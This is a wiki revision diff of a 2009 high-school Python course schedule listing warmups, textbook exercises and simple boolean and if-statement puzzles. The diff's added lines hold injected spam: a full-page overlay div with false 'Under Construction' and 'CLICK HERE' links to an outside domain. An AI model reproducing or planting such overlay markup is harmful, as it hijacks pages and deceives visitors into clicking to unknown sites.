Difference between revisions of "CS1 - 0910 - November"
From WLCS
(Created page with "== Monday (11/30/09) == '''Regular:''' * MPAA calculator assignment * Geek Flow Chart Assignment * Work through HTTLACS: Ch 5 and by work through, Mr. Bui means that you ...") |
|||
Line 1: | Line 1: | ||
+ | ---- | ||
+ | <div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;"> | ||
+ | ---- | ||
+ | =[http://itubibygucy.co.cc Under Construction! Please Visit Reserve Page. Page Will Be Available Shortly]= | ||
+ | ---- | ||
+ | =[http://itubibygucy.co.cc CLICK HERE]= | ||
+ | ---- | ||
+ | </div> | ||
== Monday (11/30/09) == | == Monday (11/30/09) == | ||
'''Regular:''' | '''Regular:''' | ||
Line 96: | Line 104: | ||
* What do the following conditions evaluate to? (Hint: Remember how we use AND, OR, and NOT in English) | * What do the following conditions evaluate to? (Hint: Remember how we use AND, OR, and NOT in English) | ||
− | + | <source lang="Python"> | |
not(False) | not(False) | ||
True or False | True or False | ||
Line 108: | Line 116: | ||
not(True) or False | not(True) or False | ||
not(True) or True | not(True) or True | ||
− | + | </source> | |
'''Regular:''' | '''Regular:''' | ||
Line 123: | Line 131: | ||
* What does the following code print? | * What does the following code print? | ||
− | + | <source lang="Python"> | |
x = 9 | x = 9 | ||
y = 10 | y = 10 | ||
z = 4 | z = 4 | ||
− | if x | + | if x < y: |
− | if z | + | if z < 0: |
print "Washington" | print "Washington" | ||
else: | else: | ||
Line 135: | Line 143: | ||
else: | else: | ||
print "Generals" | print "Generals" | ||
− | + | </source> | |
'''Agenda:''' | '''Agenda:''' |
Revision as of 21:50, 23 November 2010
Monday (11/30/09)
Regular:
- MPAA calculator assignment
- Geek Flow Chart Assignment
- Work through HTTLACS: Ch 5 and by work through, Mr. Bui means that you should try out all the code.
- Complete the HTTLACS: Ch 5 exercises and demo them
IB:
- Introduction to Iteration
- Complete HTTLACS: Ch 6 exercises #1-5 - DO NOT submit to SchoolWebLockers
- Practice Exercise #1
- Prompt the user two choices: odd or even
- Example: Would you like odd/even?
- Prompt the user for a number and store it in a variable n
- If the user chooses odd, then print out the first n odd numbers (starting at 1) using a loop
- If the user chooses even, then print out the first n even numbers (starting at 0) using a loop
- Prompt the user two choices: odd or even
- Practice Exercise #2
- Print out all the numbers that are divisible by 6 from 0 through 100
- Guessing Game Assignment
Monday (11/23/09)
Warmup:
- Take out a sheet of paper and draw a coordinate plane with x and y axes.
- The x-axis should go from 0 to 640
- The y-axis should go from 0 to 480
- Draw the turkey on the board or something like it
- Estimate the major points (x,y) for the turkey
Agenda:
- Introduction to GASP
- Walk through the GASP example
- Draw the turkey using the GASP functions
Thursday (11/19/09)
Warmup:
- Regular - Define a function named giveMeFive() that returns the value 5
- IB - Begin looking over Ch 6
Regular:
- MPAA calculator assignment
- Geek Flow Chart Assignment
- Work through HTTLACS: Ch 5 and by work through, Mr. Bui means that you should try out all the code.
- Complete the HTTLACS: Ch 5 exercises and demo them
IB:
- Introduction to Iteration
- Complete HTTLACS: Ch 6 exercises #1-5 - DO NOT submit to SchoolWebLockers
- Practice Exercise #1
- Prompt the user two choices: odd or even
- Example: Would you like odd/even?
- Prompt the user for a number and store it in a variable n
- If the user chooses odd, then print out the first n odd numbers (starting at 1) using a loop
- If the user chooses even, then print out the first n even numbers (starting at 0) using a loop
- Prompt the user two choices: odd or even
- Practice Exercise #2
- Print out all the numbers that are divisible by 6 from 0 through 100
- Guessing Game Assignment
Tuesday (11/17/09)
Regular:
- Complete the HTTLACS: Chapter 4 Exercises #1-5 and upload to SchoolWebLockers. This should be done NOW.
- MPAA calculator assignment
- Geek Flow Chart Assignment
- Work through HTTLACS: Ch 5 and by work through, Mr. Bui means that you should try out all the code.
- Complete the HTTLACS: Ch 5 exercises and demo them
IB:
- Work through HTTLACS: Ch 5 and by work through, Mr. Bui means that you should try out all the code.
- Complete the HTTLACS: Ch 5 exercises and demo them
- Introduction to Iteration
- Complete HTTLACS: Ch 6 exercises #1-5 - DO NOT submit to SchoolWebLockers
- Practice Exercise #1
- Prompt the user two choices: odd or even
- Example: Would you like odd/even?
- Prompt the user for a number and store it in a variable n
- If the user chooses odd, then print out the first n odd numbers (starting at 1) using a loop
- If the user chooses even, then print out the first n even numbers (starting at 0) using a loop
- Prompt the user two choices: odd or even
- Practice Exercise #2
- Print out all the numbers that are divisible by 6 from 0 through 100
- Guessing Game Assignment
Friday (11/13/09)
Warmup:
- The lab has been fixed. Fix your preferences and bookmark the class website.
Regular:
- Complete the HTTLACS: Chapter 4 Exercises #1-5 and upload to SchoolWebLockers. This should be done NOW.
- MPAA calculator assignment
- Geek Flow Chart Assignment
IB:
- Work through HTTLACS: Ch 5 and by work through, Mr. Bui means that you should try out all the code.
- Complete the HTTLACS: Ch 5 exercises
Tuesday (11/10/09)
Warmup:
- What do the following conditions evaluate to? (Hint: Remember how we use AND, OR, and NOT in English)
<source lang="Python"> not(False) True or False False and False True and False not(True or False) True or True False and True False or True not(False) and True not(True) or False not(True) or True </source>
Regular:
- Complete the HTTLACS: Chapter 4 Exercises #1-5 and upload to SchoolWebLockers. This should be done NOW.
- MPAA calculator assignment
- Geek Flow Chart Assignment
IB:
- Work through HTTLACS: Ch 5 and by work through, Mr. Bui means that you should try out all the code.
- Complete the HTTLACS: Ch 5 exercises
Friday (11/6/09)
Warmup:
- What does the following code print?
<source lang="Python"> x = 9 y = 10 z = 4
if x < y:
if z < 0: print "Washington" else: print "Lee"
else:
print "Generals"
</source>
Agenda:
- Complete the HTTLACS: Chapter 4 Exercises #1-5 and upload to SchoolWebLockers
- MPAA calculator assignment
- Geek Flow Chart Assignment
Wednesday (11/4/09)
Warmup:
- Prompt the user for their grade (9-12)
- Check if they are in 9th grade, if so, then print "You are a freshman"
- Check if they are in 10th grade, if so, then print "You are a sophomore
- Check if they are in 11th grade, if so, then print "You are a junior"
- Check if they are in 12th grade, if so, then print "You are a senior"
Agenda:
- Complete the HTTLACS: Chapter 4 Exercises #1-5 and upload to SchoolWebLockers
- MPAA calculator assignment
- Geek Flow Chart Assignment